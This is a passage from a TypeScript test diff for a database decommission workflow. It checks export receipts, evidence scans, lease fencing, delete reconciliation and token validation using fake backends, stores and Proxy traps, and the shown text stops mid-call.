+ 'database export receipt identity is malformed', + ); + expect(invalidIdentity.store.record?.decommissionIntent).toBeUndefined(); + + for (const state of [ + 'reserved', + 'create-authorized', + 'created', + 'detach-authorized', + 'detached', + 'empty-authorized', + 'empty', + 'delete-authorized', + ] as const) { + const fenced = await boundedDecommissionHarness({ r2Names: ['FILES'] }); + const record = fenced.store.record as FleetRecord; + fenced.store.record = { + ...record, + phase: 'application-resources-deleted', + applicationResources: record.applicationResources?.map((resource) => ({ + ...resource, + state, + })) as FleetRecord['applicationResources'], + }; + let receiptGetterReads = 0; + const fencedBackend = new Proxy(fenced.backend, { + get(target, property) { + if ( + property === 'databaseExportReceiptAuthority' || + property === 'exportDatabaseReceipt' + ) { + receiptGetterReads += 1; + } + const value = Reflect.get(target, property, target); + return typeof value === 'function' ? value.bind(target) : value; + }, + }); + await expect( + advanceDecommissionDeployment( + boundedAdvanceOptions( + fenced, + { kind: 'start' }, + { backend: fencedBackend }, + ), + ), + state, + ).rejects.toThrow( + 'normal decommission D1 work requires every application R2 resource to be deleted', + ); + expect(receiptGetterReads, state).toBe(0); + expect(fenced.backend.databaseIdsRead, state).toEqual([]); + expect(fenced.store.record?.decommissionIntent, state).toBeUndefined(); + } + + const changed = new Proxy(startedHarness.backend, { + get(target, property) { + if (property === 'databaseExportReceiptAuthority') { + return 'memory://different-authority/receipts/v1'; + } + const value = Reflect.get(target, property, target); + return typeof value === 'function' ? value.bind(target) : value; + }, + }); + const readsBeforeChangedAuthority = + startedHarness.backend.databaseIdsRead.length; + await expect( + advanceDecommissionDeployment( + boundedAdvanceOptions( + startedHarness, + { kind: 'continue', token: selected.token }, + { backend: changed }, + ), + ), + ).rejects.toThrow( + 'database export receipt authority differs from configured authority', + ); + expect(startedHarness.backend.databaseIdsRead).toHaveLength( + readsBeforeChangedAuthority, + ); + + for (const mutation of ['backend', 'mapping', 'digest'] as const) { + const authority = await boundedDecommissionHarness(); + let current = await driveBoundedUntil( + authority, + (record) => + record.decommissionIntent?.lifecyclePhase === + 'application-resources-deleted' && + record.decommissionIntent.state === 'transitioning', + ); + current = await continueBoundedDecommission(authority, current); + let receiptPropertyReads = 0; + const mutatedBackend = new Proxy(authority.backend, { + get(target, property) { + if ( + property === 'databaseExportReceiptAuthority' || + property === 'exportDatabaseReceipt' + ) { + receiptPropertyReads += 1; + } + if (mutation === 'backend' && property === 'kind') { + return 'workers-for-platforms'; + } + const value = Reflect.get(target, property, target); + return typeof value === 'function' ? value.bind(target) : value; + }, + }); + const mutatedSpec = + mutation === 'mapping' + ? { ...authority.deployment, databaseName: 'different-database' } + : mutation === 'digest' + ? { + ...authority.deployment, + modules: [ + { + name: 'worker.js', + content: 'export default { changed: true }', + }, + ], + } + : authority.deployment; + const databaseReads = authority.backend.databaseIdsRead.length; + const scans = authority.backend.scanInputs.length; + const residuals = authority.backend.residualCalls; + const exports = authority.backend.receiptCalls.length; + const deletes = authority.backend.events.filter( + (event) => event === 'delete-database', + ).length; + const writes = authority.store.phases.length; + await expect( + advanceDecommissionDeployment( + boundedAdvanceOptions( + authority, + { kind: 'continue', token: current.token }, + { backend: mutatedBackend, spec: mutatedSpec }, + ), + ), + mutation, + ).rejects.toThrow(); + expect(receiptPropertyReads, mutation).toBe(0); + expect(authority.backend.databaseIdsRead, mutation).toHaveLength( + databaseReads, + ); + expect(authority.backend.scanInputs, mutation).toHaveLength(scans); + expect(authority.backend.residualCalls, mutation).toBe(residuals); + expect(authority.backend.receiptCalls, mutation).toHaveLength(exports); + expect( + authority.backend.events.filter((event) => event === 'delete-database'), + mutation, + ).toHaveLength(deletes); + expect(authority.store.phases, mutation).toHaveLength(writes); + } + }); + + it('advances pre-export and pre-delete scans without persisting absence authority', async () => { + const harness = await boundedDecommissionHarness(); + let result = await driveBoundedUntil( + harness, + (record) => + record.decommissionIntent?.lifecyclePhase === + 'application-resources-deleted' && + record.decommissionIntent.state === 'transitioning', + ); + result = await continueBoundedDecommission(harness, result); + const preExportDiscover = harness.store.record?.decommissionIntent; + expect(preExportDiscover).toMatchObject({ + state: 'discover', + purpose: { kind: 'database-pre-export', databaseId: DATABASE_ID }, + databaseExportReceiptAuthority: RECEIPT_AUTHORITY, + }); + expect(preExportDiscover).not.toHaveProperty('discoverEvidence'); + + const signal = AbortSignal.abort(new Error('scan cancelled')); + harness.backend.scanResults.push({ + status: 'pending', + progress: ( + preExportDiscover as Extract< + DecommissionAdvanceIntent, + { state: 'discover' } + > + ).progress, + providerFetchAttemptsReserved: 3, + }); + result = await advanceDecommissionDeployment( + boundedAdvanceOptions( + harness, + { kind: 'continue', token: result.token }, + { signal }, + ), + ); + expect(harness.backend.scanInputs.at(-1)?.signal).toBe(signal); + expect(harness.store.record?.decommissionIntent).toMatchObject({ + state: 'discover', + purpose: { kind: 'database-pre-export' }, + }); + expect(harness.store.record?.decommissionIntent).not.toHaveProperty( + 'discoverEvidence', + ); + + result = await continueBoundedDecommission(harness, result); + expect(harness.store.record?.decommissionIntent).toMatchObject({ + state: 'verify', + purpose: { kind: 'database-pre-export' }, + discoverEvidence: { evidenceSha256: 'a'.repeat(64), evidenceCount: 2 }, + }); + result = await continueBoundedDecommission(harness, result); + result = await continueBoundedDecommission(harness, result); + expect(harness.store.record?.decommissionIntent).toMatchObject({ + state: 'discover', + purpose: { + kind: 'database-pre-delete', + databaseId: DATABASE_ID, + exportLocation: expect.any(String), + exportSha256: 'a'.repeat(64), + exportSize: 42, + }, + }); + expect(harness.store.record?.decommissionIntent).not.toHaveProperty( + 'discoverEvidence', + ); + result = await continueBoundedDecommission(harness, result); + expect(harness.store.record?.decommissionIntent).toMatchObject({ + state: 'verify', + purpose: { kind: 'database-pre-delete' }, + }); + expect(result.status).toBe('pending'); + }); + + it('blocks D1 teardown on attachments drift and independent evidence mismatch', async () => { + const drift = await boundedDecommissionHarness(); + let driftResult = await driveBoundedUntil( + drift, + (record) => + record.decommissionIntent?.lifecyclePhase === + 'application-resources-deleted' && + record.decommissionIntent.state === 'transitioning', + ); + driftResult = await continueBoundedDecommission(drift, driftResult); + const driftGeneration = drift.store.record?.decommissionIntent?.generation; + drift.backend.scanResults.push({ status: 'drift' }); + driftResult = await continueBoundedDecommission(drift, driftResult); + expect(drift.store.record?.decommissionIntent).toMatchObject({ + state: 'discover', + generation: (driftGeneration as number) + 1, + purpose: { kind: 'database-pre-export' }, + }); + expect(driftResult.status).toBe('pending'); + + for (const mismatch of [ + { evidenceSha256: 'b'.repeat(64), evidenceCount: 2 }, + { evidenceSha256: 'a'.repeat(64), evidenceCount: 3 }, + ]) { + const harness = await boundedDecommissionHarness(); + const verify = await driveToPreExportVerify(harness); + const generation = harness.store.record?.decommissionIntent?.generation; + harness.backend.scanResults.push({ + status: 'complete', + ...mismatch, + providerFetchAttemptsReserved: 3, + }); + await continueBoundedDecommission(harness, verify); + expect(harness.store.record?.decommissionIntent).toMatchObject({ + state: 'discover', + generation: (generation as number) + 1, + purpose: { kind: 'database-pre-export' }, + }); + expect(harness.backend.receiptCalls).toEqual([]); + } + + for (const attachment of [ + { plane: 'ordinary' as const, scriptName: 'foreign-worker' }, + { + plane: 'dispatch' as const, + scriptName: 'foreign-dispatch', + dispatchNamespace: 'fleet', + }, + ]) { + const harness = await boundedDecommissionHarness(); + let result = await driveBoundedUntil( + harness, + (record) => + record.decommissionIntent?.lifecyclePhase === + 'application-resources-deleted' && + record.decommissionIntent.state === 'transitioning', + ); + result = await continueBoundedDecommission(harness, result); + harness.backend.scanResults.push({ + status: 'attached', + attachment, + providerFetchAttemptsReserved: 3, + }); + result = await continueBoundedDecommission(harness, result); + expect(result).toMatchObject({ + status: 'blocked', + purpose: { kind: 'database-pre-export' }, + attachment, + }); + const scans = harness.backend.scanInputs.length; + const writes = harness.store.phases.length; + const inert = await continueBoundedDecommission(harness, result); + expect(inert).toEqual(result); + expect(harness.backend.scanInputs).toHaveLength(scans); + expect(harness.store.phases).toHaveLength(writes); + const restarted = await advanceDecommissionDeployment( + boundedAdvanceOptions(harness, { + kind: 'restart-blocked', + token: result.token, + }), + ); + expect(restarted).toMatchObject({ status: 'pending' }); + expect(harness.store.record?.decommissionIntent).toMatchObject({ + state: 'discover', + purpose: { kind: 'database-pre-export' }, + }); + } + }); + + it('consumes matching pre-export verification through residuals and one stable receipt', async () => { + const harness = await boundedDecommissionHarness(); + const verify = await driveToPreExportVerify(harness); + const residualsBeforeExport = harness.backend.residualCalls; + harness.backend.receiptOutcomes.push({ + status: 'fulfilled', + value: { + databaseId: DATABASE_ID, + location: 'memory://receipt/export.sql', + sha256: 'a'.repeat(64), + size: 42, + secret: 'must-not-persist', + }, + }); + await continueBoundedDecommission(harness, verify); + expect(harness.backend.residualCalls).toBe(residualsBeforeExport + 1); + expect(harness.backend.receiptCalls).toEqual([ + { + version: 1, + authority: RECEIPT_AUTHORITY, + databaseId: DATABASE_ID, + operationId: DECOMMISSION_OPERATION_ID, + }, + ]); + expect(harness.store.record).toMatchObject({ + databaseExportLocation: 'memory://receipt/export.sql', + databaseExportSha256: 'a'.repeat(64), + databaseExportSize: 42, + decommissionIntent: { + lifecyclePhase: 'database-exported', + state: 'transitioning', + databaseExportReceiptAuthority: RECEIPT_AUTHORITY, + }, + }); + expect(JSON.stringify(harness.store.record)).not.toContain( + 'must-not-persist', + ); + + const residual = await boundedDecommissionHarness(); + const residualVerify = await driveToPreExportVerify(residual); + const residualFailure = new Error('residual check failed'); + residual.backend.assertDatabaseDeletionResidualsRemoved = async () => { + throw residualFailure; + }; + await expect( + continueBoundedDecommission(residual, residualVerify), + ).rejects.toBe(residualFailure); + expect(residual.backend.receiptCalls).toEqual([]); + expect(residual.store.record?.decommissionIntent?.state).toBe('verify'); + + const lease = await boundedDecommissionHarness(); + const leaseVerify = await driveToPreExportVerify(lease); + const exportOrder: string[] = []; + lease.backend.assertDatabaseDeletionResidualsRemoved = async () => { + lease.backend.residualCalls += 1; + exportOrder.push('residual'); + }; + lease.store.assertOwnedCalls = 0; + lease.store.assertOwnedFailureAt = 1; + lease.store.assertOwnedObserved = () => exportOrder.push('fence'); + const leaseWrites = lease.store.phases.length; + await expect( + continueBoundedDecommission(lease, leaseVerify), + ).rejects.toThrow('lease assertion 1 failed'); + expect(exportOrder).toEqual(['residual', 'fence']); + expect(lease.backend.receiptCalls).toEqual([]); + expect(lease.store.phases).toHaveLength(leaseWrites); + expect(lease.store.record?.decommissionIntent?.state).toBe('verify'); + + const preScanIdentity = await boundedDecommissionHarness(); + const preScanVerify = await driveToPreExportVerify(preScanIdentity); + preScanIdentity.backend.databaseName = 'unexpected-name'; + const preScanCount = preScanIdentity.backend.scanInputs.length; + await expect( + continueBoundedDecommission(preScanIdentity, preScanVerify), + ).rejects.toThrow('resolved with unexpected identity'); + expect(preScanIdentity.backend.scanInputs).toHaveLength(preScanCount); + expect(preScanIdentity.backend.receiptCalls).toEqual([]); + + const postScanIdentity = await boundedDecommissionHarness(); + const postScanVerify = await driveToPreExportVerify(postScanIdentity); + postScanIdentity.backend.scanAfter = () => { + postScanIdentity.backend.databaseName = 'changed-after-scan'; + }; + await expect( + continueBoundedDecommission(postScanIdentity, postScanVerify), + ).rejects.toThrow('resolved with unexpected identity'); + expect(postScanIdentity.backend.receiptCalls).toEqual([]); + + const malformedReference = await boundedDecommissionHarness(); + const malformedReferenceVerify = + await driveToPreExportVerify(malformedReference); + malformedReference.backend.databaseReadOutcomes.push({ + status: 'fulfilled', + value: new Proxy( + { id: DATABASE_ID, name: 'acme-production', created: false }, + {}, + ), + }); + await expect( + continueBoundedDecommission(malformedReference, malformedReferenceVerify), + ).rejects.toThrow('persisted database reference is malformed'); + + const malformedOwner = await boundedDecommissionHarness(); + const malformedOwnerVerify = await driveToPreExportVerify(malformedOwner); + malformedOwner.backend.databaseOwner = false; + await expect( + continueBoundedDecommission(malformedOwner, malformedOwnerVerify), + ).rejects.toThrow('persisted database owner is malformed'); + expect(malformedOwner.backend.receiptCalls).toEqual([]); + + const exactReferenceText = 'é'.repeat(2_048); + const exactOwnerText = 'é'.repeat(2_048); + expect(exactReferenceText).toHaveLength(2_048); + expect(new TextEncoder().encode(exactReferenceText)).toHaveLength(4_096); + expect(exactOwnerText).toHaveLength(2_048); + expect(new TextEncoder().encode(exactOwnerText)).toHaveLength(4_096); + const exactReferenceBackend = new FakeBackend(); + exactReferenceBackend.getDatabase = async () => ({ + id: exactReferenceText, + name: exactReferenceText, + created: false, + }); + exactReferenceBackend.databaseOwner = exactOwnerText; + await expect( + reconcilePersistedDatabase( + exactReferenceBackend, + { + databaseId: exactReferenceText, + databaseName: exactReferenceText, + tenantTag: exactOwnerText, + }, + false, + { + mutationLeaseTtlMs: 1_000, + assertOwned: async () => {}, + }, + true, + ), + ).resolves.toEqual({ + id: exactReferenceText, + name: exactReferenceText, + created: false, + }); + + const multibyteOverBound = `${'é'.repeat(2_048)}x`; + expect(multibyteOverBound).toHaveLength(2_049); + expect(new TextEncoder().encode(multibyteOverBound)).toHaveLength(4_097); + const overReferenceBackend = new FakeBackend(); + overReferenceBackend.getDatabase = async () => ({ + id: multibyteOverBound, + name: 'database', + created: false, + }); + await expect( + reconcilePersistedDatabase( + overReferenceBackend, + { + databaseId: multibyteOverBound, + databaseName: 'database', + tenantTag: 'acme', + }, + false, + { + mutationLeaseTtlMs: 1_000, + assertOwned: async () => {}, + }, + true, + ), + ).rejects.toThrow('persisted database reference is malformed'); + expect(overReferenceBackend.receiptCalls).toEqual([]); + + const overOwnerBackend = new FakeBackend(); + overOwnerBackend.databaseExists = true; + overOwnerBackend.databaseOwner = multibyteOverBound; + await expect( + reconcilePersistedDatabase( + overOwnerBackend, + { + databaseId: DATABASE_ID, + databaseName: 'acme-production', + tenantTag: multibyteOverBound, + }, + false, + { + mutationLeaseTtlMs: 1_000, + assertOwned: async () => {}, + }, + true, + ), + ).rejects.toThrow('persisted database owner is malformed'); + expect(overOwnerBackend.receiptCalls).toEqual([]); + + const dishonestResults: readonly unknown[] = [ + { + databaseId: REPLACEMENT_DATABASE_ID, + location: 'memory://receipt/export.sql', + sha256: 'a'.repeat(64), + size: 42, + }, + { + databaseId: DATABASE_ID, + location: '', + sha256: 'a'.repeat(64), + size: 42, + }, + { + databaseId: DATABASE_ID, + location: 'memory://receipt/export.sql', + sha256: 'A'.repeat(64), + size: 42, + }, + { + databaseId: DATABASE_ID, + location: 'memory://receipt/export.sql', + sha256: 'a'.repeat(64), + size: 0, + }, + new Proxy( + { + databaseId: DATABASE_ID, + location: 'memory://receipt/export.sql', + sha256: 'a'.repeat(64), + size: 42, + }, + {}, + ), + Object.defineProperty( + { + databaseId: DATABASE_ID, + location: 'memory://receipt/export.sql', + sha256: 'a'.repeat(64), + }, + 'size', + { enumerable: true, get: () => 42 }, + ), + new (class PrototypeDatabaseExport { + readonly databaseId = DATABASE_ID; + readonly location = 'memory://receipt/export.sql'; + readonly sha256 = 'a'.repeat(64); + readonly size = 42; + })(), + ]; + for (const dishonest of dishonestResults) { + const candidate = await boundedDecommissionHarness(); + const candidateVerify = await driveToPreExportVerify(candidate); + candidate.backend.receiptOutcomes.push({ + status: 'fulfilled', + value: dishonest, + }); + await expect( + continueBoundedDecommission(candidate, candidateVerify), + ).rejects.toThrow( + 'bounded decommission database export result is malformed', + ); + expect(candidate.store.record?.decommissionIntent?.state).toBe('verify'); + } + }); + + it('converges receipt commits and database-exported writes without a second artifact', async () => { + const receiptLoss = await boundedDecommissionHarness(); + let verify = await driveToPreExportVerify(receiptLoss); + const receiptFailure = new Error('receipt response lost after commit'); + receiptLoss.backend.receiptOutcomes.push({ + status: 'rejected', + reason: receiptFailure, + commit: true, + }); + await expect(continueBoundedDecommission(receiptLoss, verify)).rejects.toBe( + receiptFailure, + ); + expect(receiptLoss.store.record?.decommissionIntent?.state).toBe('verify'); + expect(receiptLoss.backend.receiptWinners.size).toBe(1); + verify = { + status: 'pending', + token: verify.token, + }; + await continueBoundedDecommission(receiptLoss, verify); + expect(receiptLoss.backend.receiptWinners.size).toBe(1); + expect(receiptLoss.backend.receiptCalls).toHaveLength(2); + expect(receiptLoss.backend.receiptCalls[1]).toEqual( + receiptLoss.backend.receiptCalls[0], + ); + + const precommit = await boundedDecommissionHarness(); + const precommitVerify = await driveToPreExportVerify(precommit); + precommit.store.failPutPhase = 'database-exported'; + await expect( + continueBoundedDecommission(precommit, precommitVerify), + ).rejects.toThrow('failed state write at database-exported'); + expect(precommit.store.record?.decommissionIntent?.state).toBe('verify'); + expect(precommit.backend.receiptWinners.size).toBe(1); + await continueBoundedDecommission(precommit, precommitVerify); + expect(precommit.backend.receiptWinners.size).toBe(1); + expect(precommit.backend.receiptCalls).toHaveLength(2); + + const committedStore = new CommitThenThrowStore(); + const committed = await boundedDecommissionHarness({ + store: committedStore, + }); + const committedVerify = await driveToPreExportVerify(committed); + committedStore.failAfterCommittedPhase = 'database-exported'; + await expect( + continueBoundedDecommission(committed, committedVerify), + ).rejects.toThrow('committing database-exported'); + expect(committed.store.record?.decommissionIntent).toMatchObject({ + lifecyclePhase: 'database-exported', + state: 'transitioning', + }); + const receiptCalls = committed.backend.receiptCalls.length; + const stale = await continueBoundedDecommission(committed, committedVerify); + expect(stale.token).toEqual( + expect.objectContaining({ + revision: committed.store.record?.decommissionIntent?.revision, + }), + ); + expect(committed.backend.receiptCalls).toHaveLength(receiptCalls); + + for (const Store of [MemoryStore, CommitThenThrowStore] as const) { + const store = new Store(); + const selection = await boundedDecommissionHarness({ store }); + const atBoundary = await driveBoundedUntil( + selection, + (record) => + record.decommissionIntent?.lifecyclePhase === + 'application-resources-deleted' && + record.decommissionIntent.state === 'transitioning', + ); + if (store instanceof CommitThenThrowStore) { + store.failAfterCommittedPhase = 'application-resources-deleted'; + } else { + store.failPutPhase = 'application-resources-deleted'; + } + await expect( + continueBoundedDecommission(selection, atBoundary), + ).rejects.toThrow(/application-resources-deleted/u); + if (store instanceof CommitThenThrowStore) { + expect(store.record?.decommissionIntent).toMatchObject({ + state: 'discover', + databaseExportReceiptAuthority: RECEIPT_AUTHORITY, + }); + } else { + expect(store.record?.decommissionIntent).toMatchObject({ + state: 'transitioning', + }); + expect(store.record?.decommissionIntent).not.toHaveProperty( + 'databaseExportReceiptAuthority', + ); + } + } + }); + + it('consumes matching pre-delete verification and reconciles delete loss', async () => { + const liveReference = { + id: DATABASE_ID, + name: 'acme-production', + created: false as const, + }; + const deletePresentFailure = new Error('delete failed before commit'); + const readbackFailure = new Error('readback unavailable'); + const losingDeleteFailure = new Error('delete rejection must lose'); + const winningReadbackFailure = new Error('readback rejection wins'); + const rows: readonly Readonly<{ + label: string; + deletion: BoxedOutcome; + readback: BoxedOutcome; + expected?: unknown; + }>[] = [ + { + label: 'fulfill absent', + deletion: { status: 'fulfilled', value: undefined, commit: true }, + readback: { status: 'fulfilled', value: undefined }, + }, + { + label: 'reject absent', + deletion: { + status: 'rejected', + reason: new Error('delete response lost'), + commit: true, + }, + readback: { status: 'fulfilled', value: undefined }, + }, + { + label: 'reject present', + deletion: { + status: 'rejected', + reason: deletePresentFailure, + }, + readback: { status: 'fulfilled', value: liveReference }, + expected: deletePresentFailure, + }, + { + label: 'fulfill present', + deletion: { status: 'fulfilled', value: undefined }, + readback: { status: 'fulfilled', value: liveReference }, + expected: `database '${DATABASE_ID}' remains after deletion`, + }, + { + label: 'readback rejects', + deletion: { status: 'fulfilled', value: undefined, commit: true }, + readback: { + status: 'rejected', + reason: readbackFailure, + }, + expected: readbackFailure, + }, + { + label: 'delete and readback reject', + deletion: { + status: 'rejected', + reason: losingDeleteFailure, + }, + readback: { + status: 'rejected', + reason: winningReadbackFailure, + }, + expected: winningReadbackFailure, + }, + ]; + for (const row of rows) { + const harness = await boundedDecommissionHarness(); + const verify = await driveToPreDeleteVerify(harness); + harness.backend.deleteOutcomes.push(row.deletion); + harness.backend.databaseReadOutcomes.push( + { status: 'fulfilled', value: liveReference }, + { status: 'fulfilled', value: liveReference }, + row.readback, + ); + const operation = continueBoundedDecommission(harness, verify); + if (row.expected === undefined) { + await expect(operation, row.label).resolves.toMatchObject({ + status: 'pending', + }); + } else if (row.expected instanceof Error) { + const [settled] = await Promise.allSettled([operation]); + expect(settled.status, row.label).toBe('rejected'); + if (settled.status === 'rejected') { + expect(settled.reason, row.label).toBe(row.expected); + } + } else { + await expect(operation, row.label).rejects.toThrow( + String(row.expected), + ); + } + expect(harness.store.record?.decommissionIntent, row.label).toMatchObject( + { + lifecyclePhase: 'database-deleting', + state: 'transitioning', + }, + ); + expect( + harness.backend.events.filter((event) => event === 'delete-database'), + row.label, + ).toHaveLength(1); + } + + for (const reason of [null, undefined]) { + const harness = await boundedDecommissionHarness(); + const verify = await driveToPreDeleteVerify(harness); + harness.backend.deleteOutcomes.push({ + status: 'rejected', + reason: new Error('delete rejection must lose'), + }); + harness.backend.databaseReadOutcomes.push( + { status: 'fulfilled', value: liveReference }, + { status: 'fulfilled', value: liveReference }, + { status: 'rejected', reason }, + ); + const [settled] = await Promise.allSettled([ + continueBoundedDecommission(harness, verify), + ]); + expect(settled).toEqual({ status: 'rejected', reason }); + } + + let hostileReadbackFields = 0; + const hostilePresent = new Proxy( + {}, + { + get(_target, property) { + if (property === 'then') return undefined; + hostileReadbackFields += 1; + throw new Error('existence-only readback inspected a field'); + }, + getOwnPropertyDescriptor() { + hostileReadbackFields += 1; + throw new Error('existence-only readback inspected a descriptor'); + }, + ownKeys() { + hostileReadbackFields += 1; + throw new Error('existence-only readback enumerated fields'); + }, + }, + ); + const hostileReadback = await boundedDecommissionHarness(); + const hostileVerify = await driveToPreDeleteVerify(hostileReadback); + hostileReadback.backend.deleteOutcomes.push({ + status: 'fulfilled', + value: undefined, + }); + hostileReadback.backend.databaseReadOutcomes.push( + { status: 'fulfilled', value: liveReference }, + { status: 'fulfilled', value: liveReference }, + { status: 'fulfilled', value: hostilePresent }, + ); + await expect( + continueBoundedDecommission(hostileReadback, hostileVerify), + ).rejects.toThrow(`database '${DATABASE_ID}' remains after deletion`); + expect(hostileReadbackFields).toBe(0); + + const barrier = await boundedDecommissionHarness(); + const barrierVerify = await driveToPreDeleteVerify(barrier); + barrier.store.failPutPhase = 'database-deleting'; + await expect( + continueBoundedDecommission(barrier, barrierVerify), + ).rejects.toThrow('failed state write at database-deleting'); + expect(barrier.backend.events).not.toContain('delete-database'); + + const committedBarrierStore = new CommitThenThrowStore(); + const committedBarrier = await boundedDecommissionHarness({ + store: committedBarrierStore, + }); + const committedBarrierVerify = + await driveToPreDeleteVerify(committedBarrier); + const deletesBeforeBarrier = committedBarrier.backend.events.filter( + (event) => event === 'delete-database', + ).length; + committedBarrierStore.failAfterCommittedPhase = 'database-deleting'; + await expect( + continueBoundedDecommission(committedBarrier, committedBarrierVerify), + ).rejects.toThrow('committing database-deleting'); + expect(committedBarrier.store.record?.decommissionIntent).toMatchObject({ + lifecyclePhase: 'database-deleting', + state: 'transitioning', + }); + expect( + committedBarrier.backend.events.filter( + (event) => event === 'delete-database', + ), + ).toHaveLength(deletesBeforeBarrier); + let retry = await continueBoundedDecommission( + committedBarrier, + committedBarrierVerify, + ); + for (let index = 0; index < 8 && retry.status !== 'complete'; index += 1) { + retry = await continueBoundedDecommission(committedBarrier, retry); + } + expect(retry.status).toBe('complete'); + expect( + committedBarrier.backend.events.filter( + (event) => event === 'delete-database', + ), + ).toHaveLength(deletesBeforeBarrier + 1); + + for (const ordinal of [1, 2, 3]) { + const harness = await boundedDecommissionHarness(); + const verify = await driveToPreDeleteVerify(harness); + harness.store.assertOwnedCalls = 0; + harness.store.assertOwnedFailureAt = ordinal; + const databaseReads = harness.backend.databaseIdsRead.length; + await expect( + continueBoundedDecommission(harness, verify), + ).rejects.toThrow(`lease assertion ${ordinal} failed`); + expect(harness.store.record?.decommissionIntent).toMatchObject({ + lifecyclePhase: 'database-deleting', + state: 'transitioning', + }); + expect( + harness.backend.events.filter((event) => event === 'delete-database'), + ).toHaveLength(ordinal === 1 ? 0 : 1); + expect(harness.backend.databaseIdsRead.length - databaseReads).toBe( + ordinal === 3 ? 3 : 2, + ); + } + }); + + it('recovers terminal writes and keeps token classifications authoritative', async () => { + const terminal = await boundedDecommissionHarness(); + let result = await driveToPreDeleteVerify(terminal); + result = await continueBoundedDecommission(terminal, result); + expect(terminal.store.record?.decommissionIntent).toMatchObject({ + lifecyclePhase: 'database-deleting', + state: 'transitioning', + }); + expect(terminal.backend.databaseExists).toBe(false); + const barrierToken = result.token; + result = await continueBoundedDecommission(terminal, result); + expect(result).toMatchObject({ + status: 'complete', + result: { + record: { + phase: 'decommissioned', + decommissionIntent: { + lifecyclePhase: 'decommissioned', + state: 'complete', + databaseExportReceiptAuthority: RECEIPT_AUTHORITY, + }, + }, + }, + }); + const completeToken = result.token; + + let terminalReceiptGetterReads = 0; + const capabilityTrap = new Proxy(terminal.backend, { + get(target, property) { + if ( + property === 'databaseExportReceiptAuthority' || + property === 'exportDatabaseReceipt' + ) { + terminalReceiptGetterReads += 1; + throw new Error('complete read touched receipt capability'); + } + const value = Reflect.get(target, property, target); + return typeof value === 'function' ? value.bind(target) : value; + }, + }); + await expect( + advanceDecommissionDeployment( + boundedAdvanceOptions( + terminal, + { kind: 'start' }, + { + backend: capabilityTrap, + }, + ), + ), + ).resolves.toMatchObject({ status: 'complete', token: completeToken }); + await expect( + advanceDecommissionDeployment( + boundedAdvanceOptions( + terminal, + { kind: 'continue', token: barrierToken }, + { backend: capabilityTrap }, + ), + ), + ).resolves.toMatchObject({ status: 'complete', token: completeToken }); + const terminalEvents = terminal.backend.events.length; + const terminalDatabaseReads = terminal.backend.databaseIdsRead.length; + const terminalScans = terminal.backend.scanInputs.length; + const terminalResiduals = terminal.backend.residualCalls; + const terminalExports = terminal.backend.receiptCalls.length; + const terminalWrites = terminal.store.phases.length; + await expect( + advanceDecommissionDeployment( + boundedAdvanceOptions( + terminal, + { kind: 'continue', token: completeToken }, + { backend: capabilityTrap }, + ), + ), + ).resolves.toMatchObject({ status: 'complete', token: completeToken }); + expect(terminal.backend.events).toHaveLength(terminalEvents); + expect(terminal.backend.databaseIdsRead).toHaveLength( + terminalDatabaseReads, + ); + expect(terminal.backend.scanInputs).toHaveLength(terminalScans); + expect(terminal.backend.residualCalls).toBe(terminalResiduals); + expect(terminal.backend.receiptCalls).toHaveLength(terminalExports); + expect(terminal.store.phases).toHaveLength(terminalWrites); + + const leasesBeforeMalformedToken = terminal.store.leaseCalls; + await expect( + advanceDecommissionDeployment( + boundedAdvanceOptions( + terminal, + { + kind: 'continue', + token: { ...completeToken, revision: -1 }, + }, + { backend: capabilityTrap }, + ), + ), + ).rejects.toThrow('decommission advance token is malformed'); + expect(terminal.store.leaseCalls).toBe(leasesBeforeMalformedToken); + expect(terminal.backend.events).toHaveLength(terminalEvents); + expect(terminal.backend.databaseIdsRead).toHaveLength( + terminalDatabaseReads, + ); + expect(terminal.backend.scanInputs).toHaveLength(terminalScans); + expect(terminal.backend.residualCalls).toBe(terminalResiduals); + expect(terminal.backend.receiptCalls).toHaveLength(terminalExports); + expect(terminal.store.phases).toHaveLength(terminalWrites); + for (const row of [ + { + action: { kind: 'continue', token: completeToken, extra: true }, + message: 'decommission advance action is malformed', + }, + { + action: { + kind: 'continue', + token: { ...completeToken, tenantTag: 'other' }, + }, + message: 'decommission advance token targets another deployment', + }, + { + action: { + kind: 'continue', + token: { ...completeToken, operationId: crypto.randomUUID() }, + }, + message: 'decommission advance token targets another operation', + }, + { + action: { + kind: 'continue', + token: { ...completeToken, revision: completeToken.revision + 1 }, + }, + message: 'decommission advance token is from the future', + }, + ] as const) { + await expect( + advanceDecommissionDeployment( + boundedAdvanceOptions( + terminal, + row.action as AdvanceDecommissionDeploymentOptions['action'], + { backend: capabilityTrap }, + ), + ), + ).rejects.toThrow(row.message); + } + expect(terminalReceiptGetterReads).toBe(0); + + const precommit = await boundedDecommissionHarness(); + let precommitResult = await driveToPreDeleteVerify(precommit); + precommitResult = await continueBoundedDecommission( + precommit, + precommitResult, + ); + precommit.store.failPutPhase = 'decommissioned'; + await expect( + continueBoundedDecommission(precommit, precommitResult), + ).rejects.toThrow('failed state write at decommissioned'); + expect(precommit.store.record?.decommissionIntent).toMatchObject({ + lifecyclePhase: 'database-deleting', + state: 'transitioning', + }); + await expect( + continueBoundedDecommission(precommit, precommitResult), + ).resolves.toMatchObject({ status: 'complete' }); + + const committedStore = new CommitThenThrowStore(); + const committed = await boundedDecommissionHarness({ + store: committedStore, + }); + let committedResult = await driveToPreDeleteVerify(committed); + committedResult = await continueBoundedDecommission( + committed, + committedResult, + ); + committedStore.failAfterCommittedPhase = 'decommissioned'; + await expect( + continueBoundedDecommission(committed, committedResult), + ).rejects.toThrow('committing decommissioned'); + expect(committed.store.record?.decommissionIntent?.state).toBe('complete'); + await expect( + continueBoundedDecommission(committed, committedResult), + ).resolves.toMatchObject({ status: 'complete' }); + + for (const malformed of [null, false, 0, '']) { + const candidate = await boundedDecommissionHarness(); + let candidateResult = await driveToPreDeleteVerify(candidate); + candidateResult = await continueBoundedDecommission( + candidate, + candidateResult, + ); + candidate.backend.databaseExists = true; + candidate.backend.databaseReadOutcomes.push({ + status: 'fulfilled', + value: malformed, + }); + await expect( + continueBoundedDecommission(candidate, candidateResult), + ).rejects.toThrow('persisted database reference is malformed'); + expect(candidate.store.record?.decommissionIntent?.state).toBe( + 'transitioning', + ); + } + + for (const terminalState of ['discover', 'verify'] as const) { + const candidate = await boundedDecommissionHarness(); + let candidateResult = await driveToPreDeleteVerify(candidate); + candidateResult = await continueBoundedDecommission( + candidate, + candidateResult, + ); + candidate.backend.databaseExists = true; + candidateResult = await continueBoundedDecommission( + candidate, + 